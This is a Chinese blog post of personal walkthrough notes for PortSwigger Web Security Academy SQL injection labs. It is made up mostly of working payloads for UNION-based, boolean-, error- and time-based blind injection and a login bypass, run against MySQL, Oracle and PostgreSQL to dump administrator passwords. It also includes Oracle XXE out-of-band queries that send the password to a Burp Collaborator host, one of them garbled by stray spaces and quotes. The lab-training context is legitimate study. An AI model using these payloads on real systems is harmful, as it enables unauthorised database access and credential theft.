Burp学院-SQL注入

前言:

  上传下自己做的笔记,这些题做了好久好久了,一直没冒泡,之前想上传些东西结果博客园炸了就忘了,周五快下班了手头工作暂时缓解了,传点东西上来。

1.SQL injection UNION attack, determining the number of columns returned by the query。UNION攻击,确定查询返回的列数

抓包发送到Repeater,修改参数注入
?category=Pets' order by 3--
页面返回正常
?category=Pets' order by 4--
Internal Server Error
所以为3列。
?category=Pets' union select null,null--
页面错误
?category=Pets' union select null,null,null--
页面返回正常,Solved
2.SQL injection UNION attack, finding a column containing text。UNION攻击,查找包含文本的列
Make the database retrieve the string: 'YjuMnv',使数据库检索随机字符串"YjuMnv"
进阶着上个实验,也是三列,抓包发送到Repeater,直接输入语句即可,三个null位置轮流试
?category=Tech' union select null,'YjuMnv',null--
页面返回正常,Solved
3.UNION attack, retrieving data from other tables。UNION攻击,从其他表中检索数据
?category=Gifts' union select null,null--
懒得抓包,直接Hackbar搞起,尝试了下发现这个环境列数为两列。
?category=Gifts' union select 'test1','test2'--
确认输出列为页面最下方两列数据。
?category=Gifts' union select username,password from users--
administrator     crtlnqexkg5pkyklkzdx
登录,Solved。
4.SQL injection UNION attack, retrieving multiple values in a single column。UNION攻击,在单个列中检索多个值
尝试使用Group_concat()
?category=Accessories' union select null,null--
Hackbar中发现列数仍然为两列。
?category=Accessories' union select null,concat(username,password) from users--
group_concat报Internal Server Error,concat可以使用。
?category=Accessories' union select null,username||'~'||password from users--
按照提供的语句来一遍成功,必须带||||和'',||'~'||、||''||或填写任意字符都可以。
登录administrator,Solved。
5.SQL injection attack, querying the database type and version on Oracle。在Oracle上查询数据库类型和版本
Oracle上有个dual表,查询需要借助该表完成。
?category=Pets' union select null,null from dual--
尝试发现列数为两列。
?category=Pets' union select null,banner from v$version--
banner信息就是欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,查询版本不同于MySQL@@version,Oracle中为v$version
6.SQL injection attack, querying the database type and version on MySQL and Microsoft。在MySQL和Microsoft上查询数据库类型和版本
' union select null,null--、' union select null,null,null--、' union select null,null,null,null--
一连串400报错,--换成#还是400报错...怀疑人生,必须抓包了。
抓包发送到Repeater添加+号代替空格变成了500报错,有戏,--改成#成了
?category=fuck'+union+select+null,+null--
?category=fuck'+union+select+null,+null#
?category=fuck'+union+select+'test1',+'test2'#
探测输出位,在页面下方
?category=fuck'+union+select+@@version,+null#
想在Hackbar里完成操作发现无法显示,可能需要添加sleep语句,如'union+select+@@version,+sleep(5)#
7.SQL injection attack, listing the database contents on non-Oracle databases。列出非Oracle数据库上的数据库内容
点击pets,抓包
GET /filter?category=Pets' union select null-- HTTP/1.1
order by无法使用,只能一个个字符尝试:
GET /filter?category=Pets'+union+select+null,null-- HTTP/1.1
得到为两列,插入字符得到显示位
查询数据库中的表:
GET /filter?category=Pets'+union+select+table_name,null+from+information_schema.tables-- HTTP/1.1
查询列:试了好多表,后来查了下才发现数据在users_mklbnz里面
GET /filter?category=Pets'+union+select+column_name,null+from+information_schema.columns+where+table_name='users_mklbnz'-- HTTP/1.1
查询账户和密码:
GET /filter?category=Pets'+union+select+username_sfbnsz,+password_vlveec+from+users_mklbnz-- HTTP/1.1
administrator
zu8o7dywk4quhs627fmt
8.SQL injection attack, listing the database contents on Oracle。列出Oracle上的数据库内容
?category=Gifts' union select null,null from dual--
尝试得出列数为两列。
?category=Gifts' union select 'test1','test2' from dual--
显示位在页面下方。
?category=Gifts' union select table_name,null from all_tables--
从all_tables查询所有表。
?category=Gifts' union select column_name,null from all_tab_columns where table_name='USERS_FDRGWE'--
查找一个可能有用户数据的表内列名
PASSWORD_BKFEVL   USERNAME_VTQUYA
?category=Gifts' union select USERNAME_VTQUYA,PASSWORD_BKFEVL from USERS_FDRGWE--
administrator     nj31t224hbktniopu551
登录administrator,Solved。
9.Blind SQL injection with conditional responses。带响应条件的SQL盲注
开始还以为像上面的注入点在category里,试了几次发现不对劲,看着解决方案注入点不再是category而是在cookie里,Cookie: TrackingId=CxOfHpa0iV703vdm
TrackingId=CxOfHpa0iV703vdm'and 1=1
返回信息为正常数据无反应
TrackingId=CxOfHpa0iV703vdm'and '1'='1
返回信息出现welcome back!
'and '1'='2无welcome back,字符型
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users limit 1)='a;
出现welcome back说明存在users表。
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users where username='administrator')='a;
出现welcome back,说明存在administrator
'and (select 'a' from users where username='administrator' and length(password)>19)='a;
密码长度,试到19出现welcome back,20没有,则密码19位
发送到Intruder:
Cookie: TrackingId=CxOfHpa0iV703vdm' and (select substring(password,1,1) from users where username='administrator')='§a§;
substring会将密码中字符单个提取,并针对其特性值测试,通过遍历每个位置和可能的值得到密码。
Payload页面选择"simple list",payload option选择a-z和0-9,通过Add from list添加。
到option页面,grep匹配Grep-Match先clear所有语句,再添加语句“welcom back”,
得到第一个字符9
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
偏移量1,1改为2,1,,继续爆破,一直到20,1获取完整密码。
9ynoz9pekk7vvtf30clt,登录成功Solved,太太太难了。
10.Blind SQL injection with conditional errors。带有条件错误的盲SQL注入
'and 1=1;页面500,        ' and '1'='1; 页面正常,但没有出现welcome back,无回显
' union select version from v$instance--        返回正常,说明为Oracle数据库
/使用case when来进行判断,当WHEN后面的条件为真,则会执行THEN 后面的 1/0 报错
' union select casee when (1=2) then to_char(1/0) else null end from dual--
1=2一定false,所以不执行后面的1/0报错,页面正常。
' union select case when (username='administrators') then to_char(1/0) else null end from users--
正常,说明users表内存在username=administrators
' union select case when (username='administrator' and length(password)=19) then to_char(1/0) else null end from users--
密码位数19位,返回正常
' union select case when (username='administrator' and length(password)=20) then to_char(1/0) else null end from users--
500错误,密码为20位。
' union select case when (username='administrator' and substr(password,1,1)='§a§') then to_char(1/0) else null end from users--
Intruder开始配置simple list、a-z、0-9。开始爆破,出现500说明猜解正确。
moae7ohdeqyy8tnbhsls
登录,Solved。
 
解决思路内的方法:
'||(select'')||'    500错误,数据库对不上        '||(select'' from dual)||'    页面正常,为Oracle
查询不存在的表:not-a-real-table
'||(select'' from not-a-real-table)||'    不存在的表一定报错,说明语句在后台被执行了
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
验证是否收到错误信息,when1=1,Ture必定正确,页面爆出500错误,所以语句搜索成功返回500
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
1=2false,页面返回正常
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
500,说明user表内administrator用户存在
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确认administrator密码长度大于1位,一直试探到大于>20报错,说明20位长。
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Intruder爆破。a-z、0-9
11.Blind SQL injection with time delays。具有时间延迟的盲SQL注入
注入点也在Cookie中
不起作用:' union select sleep(5)--
不起作用:' union select pg_sleep(5)--;
不起作用:' union waitfor delay '0:0:10'--
不起作用:' union dbms_pipe.receive_message(('a'),10)--
使用解决方法内的: '||pg_sleep(10)--
也可以使用;的HTML编码后的%3b            '%3Bselect pg_sleep(5)--
Solved,发现原来这个数据库是PostgreSQL,所以用pg_sleep()。
12.Blind SQL injection with time delays and information retrieval。具有时间延迟和信息检索功能的盲SQL注入
同样是postgresql,
'||pg_sleep(3)--
'%3Bselect pg_sleep(5)--
出现延迟,存在时间盲注。
'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end--
'%3Bselect case when (1=2) then pg_sleep(5) else pg_sleep(0) end--
验证时间盲注漏洞,1=1延迟,1=2无延迟。
验证是否存在users表:'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end from users--
验证users表内是否有administrator用户:'%3Bselect case when (username='administrator') then pg_sleep(5) else pg_sleep(0) end from users--
'%3Bselect case when (username='administrator' and length(password)>19) then pg_sleep(5) else pg_sleep(0) end from users--
验证administrator用户的密码长度,长度20
'%3Bselect case when (username='administrator' and substring(password,1,1)='§a§') then pg_sleep(5) else pg_sleep(0) end from users--
Intruder爆破
0(1)b
太蛋疼了,设置下timeout结果一堆误报
设置1,1到20,1
payload sets设置
线程设置为1,756次,慢慢等,甚至可以先吃把鸡,点击Columns选择response received,倒叙排列,接近10000的是结果。
1    q
2    g
3    m
4    9
5    v
6    g
7    3
8    l
9    d
10    i
11    9
12    2
13    3
14    n
15    6
16    t
17    4
18    n
19    p
20    l
登录administrator,Solved。吐了,再也不想手动时间盲注了。
13.Blind SQL injection with out-of-band interaction。带外交互的SQL盲注,外部注入。
该数据库包含另一个名为的表users,其列名为username和password。您需要利用盲目的SQL注入漏洞来找出administrator用户密码。
这个是类似XXE的外部注入,完整的攻击需要一个外网vps配合完成
'+and+'1'='1
试探下,发现可
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
或XXE注入,外部实体注入
'+UNION+SELECT+extractvalue(xmltype(
'<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+root+
[+<!ENTITY %+remote+SYSTEM+"http://x.burpcollaborator.net/"> %remote;]>'),'/l'
)+FROM+dual--
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
还可以读取administrator的密码:
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
密码会显示到DNS服务器内,可以使用Burp的client
14.Blind SQL injection with out-of-band data exfiltration。带外数据渗透的SQL盲注
https://portswigger.net/web-security/sql-injection/cheat-sheet
使用 Burp Collaborator client复制下DNS地址,Copy to clipboard,然后Client别关闭,等待结果。
orjcyfy1fa99b6ozdacttvmr4ia9yy.burpcollaborator.net
'+ UNION + SELECT + extractvalue(xmltype('<%3fxml + version%3d“ 1.0” + encoding%3d“ UTF-8”%3f> <!DOCTYPE + root + [+ <!ENTITY +%25 + remote + SYSTEM +“ http%3a //'||((SELECT + password + FROM + users + WHERE + username%3d'administrator')||' 。ioa8x3z6f0imbza4jpgjw3kdw42uqj.burpcollaborator.net /”> +%25remote%3b]>')) ,'/ l')+ FROM + dual--;
使用SYSTEM指令,命名为Remote以加载URL内容,声明外部实体DTD
%remote调用触发对URL的HTTP GET请求。
burpcollaborator Client上点击Poll now立即刷新。
brqvwmehvr8bix6ru8p9登录administrator,Solved。
15.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data。WHERE子句中的SQL注入漏洞允许检索隐藏数据
就是where语句注入,直接?category=Gifts' or 1=1--
16.SQL injection vulnerability allowing login bypass。万能密码
登录administrator,密码输入' or '1'='1
 
posted @ 2021-07-16 17:18  aw4ker  阅读(1149)  评论(0编辑  收藏  举报